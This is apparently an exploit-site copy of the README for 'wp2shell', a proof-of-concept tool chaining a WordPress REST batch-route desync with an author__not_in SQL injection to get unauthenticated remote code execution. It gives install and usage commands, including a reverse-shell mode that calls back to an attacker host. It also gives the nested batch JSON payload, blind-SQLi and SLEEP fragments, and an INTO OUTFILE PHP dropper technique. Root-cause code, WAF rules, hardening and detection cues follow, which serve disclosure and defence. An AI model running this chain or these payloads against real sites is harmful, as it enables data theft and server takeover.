Share
## https://sploitus.com/exploit?id=7CD079AD-E27B-5C54-A696-60635BFDB241
# wp2shell (CVE-2026-63030 / CVE-2026-60137)



PoC for an unauthenticated WordPress bug chain: REST batch route confusion plus `WP_Query::author__not_in` SQL injection. You can read the database blind, and if MySQL has `FILE`, write a PHP dropper with `INTO OUTFILE` for pre-auth RCE.

| | |
|---|---|
| Name | wp2shell |
| CVEs | CVE-2026-63030 (batch desync), CVE-2026-60137 (`author__not_in` SQLi) |
| Affected | WordPress 6.9.0 to 6.9.4, 7.0.0 to 7.0.1 |
| Fixed in | 6.9.5, 7.0.2 |
| Auth needed | None |
| Found by | Adam Kues (Searchlight Cyber / Assetnote) |

Only use this on systems you own or have permission to test.

## Install

Needs Python 3.10+. Easiest is [pipx](https://pipx.pypa.io/):

```bash
# Debian / Ubuntu
sudo apt install pipx
pipx ensurepath

# from this repo
cd /path/to/CVE-2026-63030
pipx install .
```

Then `wp2shell` is on your PATH. Reinstall after edits with `pipx install --force .`. Remove with `pipx uninstall wp2shell`.

Or skip install and run the file directly:

```bash
python3 wp2shell.py target.example
```

## Usage

Bare host = auto scheme (tries `https://` then `http://`). Prefix with `http://` or `https://` only when you want to force one.

```bash
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080

# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/

# timing confirm
wp2shell target.example --confirm-sqli

# SQLi -> OUTFILE -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
```
### Example


| Flag | What it does |
|---|---|
| `--shell [LHOST [LPORT]]` | full RCE chain; default LHOST is this box's IP, LPORT is 443 |
| `--rest-route` | try `/?rest_route=/batch/v1` first |
| `--verify-tls` | verify HTTPS certs (off by default for lab/self-signed) |
| `--proxy URL` | send traffic through a proxy |
| `--force` | skip WordPress fingerprinting |

`LHOST` has to be reachable from the WordPress host. For Docker that usually means your VM/LAN IP, not `127.0.0.1` inside the container. Binding LPORT 443 may need root if the port is free.

## How it works

WordPress exposes an unauthenticated batch REST endpoint (`/wp-json/batch/v1` or `/?rest_route=/batch/v1`). The handler validates each sub-request, then runs it. On affected versions those two steps use separate arrays that can get out of sync, so a request is checked as one route and executed as another.

```
Attacker
   |  POST /batch/v1  (no auth)
   v
+---------------------------------------------+
| Outer desync                                |
| primer fails wp_parse_url()                 |
| -> POST /wp/v2/posts runs as batch handler  |
+---------------------------------------------+
   |  nested batch in posts body
   v
+---------------------------------------------+
| Inner desync                                |
| /wp/v2/users|categories?author_exclude=...  |
| -> dispatched as posts get_items()          |
+---------------------------------------------+
   |
   v
 WP_Query::author__not_in -> raw SQL -> read / OUTFILE / reverse shell
```

### 1. Detect the desync

Send a small batch with a bad primer plus a few routes that return known error codes when things shift (`parse_path_failed`, `block_cannot_read`, `rest_batch_not_allowed`). HTTP 207 with those markers means you're in. The tool tries `/wp-json/batch/v1` first, then `/?rest_route=/batch/v1`.

### 2. Double-nested batch

Rough shape of the payload:

```json
{
  "requests": [
    { "path": "http://" },
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {
        "requests": [
          { "path": "http://" },
          {
            "method": "GET",
            "path": "/wp/v2/users?author_exclude="
          },
          { "method": "GET", "path": "/wp/v2/posts" }
        ]
      }
    },
    { "method": "POST", "path": "/batch/v1", "body": { "requests": [] } }
  ]
}
```

- Outer primer: posts body runs as a nested batch.
- Inner primer: `users?author_exclude=` runs as posts `get_items()`.
- Trailing `/batch/v1` is there so the outer posts request can steal the batch handler.

### 3. Blind SQLi

Close the `NOT IN (` list and tack on your payload:

| Goal | `author_exclude` fragment |
|---|---|
| True/false oracle | `0) AND ()-- -` |
| Time-based confirm | `0) OR SLEEP(3)-- -` |
| Data extract | binary-search `ASCII(SUBSTRING((SELECT ...),n,1))` |

Whether posts come back (or `X-WP-Total` / a non-empty list in the nested response) is the boolean oracle. `SLEEP()` is what `--confirm-sqli` uses. That's enough to pull hashes, options, whatever the DB user can `SELECT`.

### 4. RCE via OUTFILE

No password cracking or plugin upload. Same SQLi, different payload:

```sql
... UNION SELECT , NULL, NULL, ... LIMIT 1
    INTO OUTFILE '/var/www/html/wp-content/uploads/.php'
```

`WP_Query` appends `LIMIT 0,10` on its own line after `$where`, so a naive `INTO OUTFILE` blows up. The PoC switches the carrier to `/wp/v2/categories?...&per_page=-1` with `orderby: false` so that trailing `LIMIT` goes away, pads `wp_posts.*` with `NULL`s, and ends the PHP with `//` so OUTFILE padding is commented out.

```
SQLi (per_page=-1 carrier)
        |
        v
 INTO OUTFILE  ->  /wp-content/uploads/{image|cropped|thumb|...}-XXXX.php
        |
        v
 GET dropper   ->  reverse shell
        |
        v
 session end   ->  dropper removed
```

You need `FILE`, a path `mysqld` can write and the web server can read (shared volume if DB and app are split), and the directory already present. No `FILE`? You still have unauth SQLi, just no shell.

## Root cause in WordPress core

Snippets are from WordPress 7.0.0.

### Batch array desync (`serve_batch_request_v1`)

File: `wp-includes/rest-api/class-wp-rest-server.php`

If a path fails `wp_parse_url()`, the code stores a `WP_Error` in `$requests` / `$validation` but does **not** push into `$matches`:

```php
foreach ( $batch_request['requests'] as $args ) {
    $parsed_url = wp_parse_url( $args['path'] );

    if ( false === $parsed_url ) {
        $requests[] = new WP_Error(
            'parse_path_failed',
            __( 'Could not parse the path.' ),
            array( 'status' => 400 )
        );
        continue; // no $matches entry
    }
    // ... build WP_REST_Request, append to $requests
}

$matches    = array();
$validation = array();

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;
        continue; // validation grows, matches does not
    }

    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    // ... allow_batch / has_valid_params / sanitize_params -> $validation[]
}
```

Dispatch later uses the same `$i` for both arrays:

```php
foreach ( $requests as $i => $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        // emit error envelope, continue
        continue;
    }

    $match = $matches[ $i ]; // $i is a $requests index, not a $matches index
    // ...
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
```

One primer (`"path": "http://"` -> `parse_path_failed`) is enough:

| `$requests` index | Sub-request | Validated as | `$matches` slot at dispatch |
|---:|---|---|---|
| 0 | primer (error) | error (skipped) | n/a |
| 1 | `POST /wp/v2/posts` | posts | `$matches[1]` -> batch handler |
| 2 | `POST /batch/v1` | batch | `$matches[2]` -> wrong / OOB |

So the posts call actually runs `serve_batch_request_v1()` again. Nested batch, no schema check, GET allowed, etc.

### SQLi sink (`author__not_in`)

File: `wp-includes/class-wp-query.php`

`absint` only runs when the value is already an array. Pass a string and it goes straight into SQL:

```php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique(
            array_map( 'absint', $query_vars['author__not_in'] )
        );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
```

You end up with:

```sql
AND wp_posts.post_author NOT IN ()
```

### Why a normal REST call doesn't hit this

File: `wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php`

Posts maps the public arg into the sink:

```php
$parameter_mappings = array(
    'author'         => 'author__in',
    'author_exclude' => 'author__not_in',
    // ...
);
```

`author_exclude` is typed as an array of integers, so a direct  
`GET /wp/v2/posts?author_exclude=0)+OR+SLEEP(3)--+-` dies in validation.

Users and categories don't define `author_exclude` at all. After the desync, a request that was validated as users/categories still runs posts `get_items()`, which happily reads `author_exclude` and hands the raw string to `WP_Query`.

## Lab notes

If WordPress and MariaDB are separate containers, SQLi still works but OUTFILE won't land on a web path unless you share something like uploads into both and `GRANT FILE` to the WP DB user.

Path the PoC tries first:

`/var/www/html/wp-content/uploads/`

### HTTPS lab

Apache `mod_ssl` inside the WordPress container, host port 443:

```bash
sudo ./lab-ssl/start-ssl.sh
wp2shell https://127.0.0.1/
```

Browser will complain about the self-signed cert; that's expected. PoC leaves TLS verify off unless you pass `--verify-tls`. HTTP is still on `:8080`.

## Fixes / quick mitigations

**Real fix:** upgrade to WordPress **6.9.5**, **7.0.2**, or newer. That closes both the batch desync and the `author__not_in` SQLi.

Until you can patch:

1. **Block the batch API for anonymous users** at the edge / WAF / reverse proxy. Cover **both** paths:
   - `/wp-json/batch/v1`
   - `/?rest_route=/batch/v1` (and any equivalent query form)
   
   Blocking only `/wp-json/...` leaves the `rest_route` variant open.

2. **Nginx example** (adjust to your vhost):

   ```nginx
   location = /wp-json/batch/v1 {
       if ($request_method = OPTIONS) { return 204; }
       return 403;
   }
   if ($arg_rest_route ~* "^/batch/v1") {
       return 403;
   }
   ```

3. **Apache example:**

   ```apache
   
       Require all denied
   
   RewriteEngine On
   RewriteCond %{QUERY_STRING} (^|&)rest_route=/batch/v1 [NC]
   RewriteRule ^ - [F,L]
   ```

4. **Kill the RCE follow-on even if SQLi still exists:**
   - WordPress DB user must **not** have global `FILE`
   - Set MySQL/MariaDB `secure_file_priv` to a non-web directory (or keep it restrictive)
   - Don't share a web-writable path into the DB container

5. **Optional hardening:** disable the REST API for unauthenticated users via a small must-use plugin or security plugin that can deny `batch/v1` specifically. Prefer upgrading over long-term REST lockdown.

6. **Detect abuse:** alert on unauthenticated `POST`s to batch endpoints, especially bodies that include `author_exclude`, nested `requests`, or paths like `http://` primers.

## Links

- [GHSA-ff9f-jf42-662q](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q) - REST batch route confusion
- [GHSA-fpp7-x2x2-2mjf](https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf) - `WP_Query` SQL injection
- [WordPress 7.0.2 release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [Searchlight Cyber advisory](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core)
- [Patchstack analysis](https://patchstack.com/articles/unauthenticated-sql-injection-in-wordpress-core-fixed-in-7-0-2/)

## Disclaimer

For education and authorized testing only. Don't point this at stuff you don't have permission to test.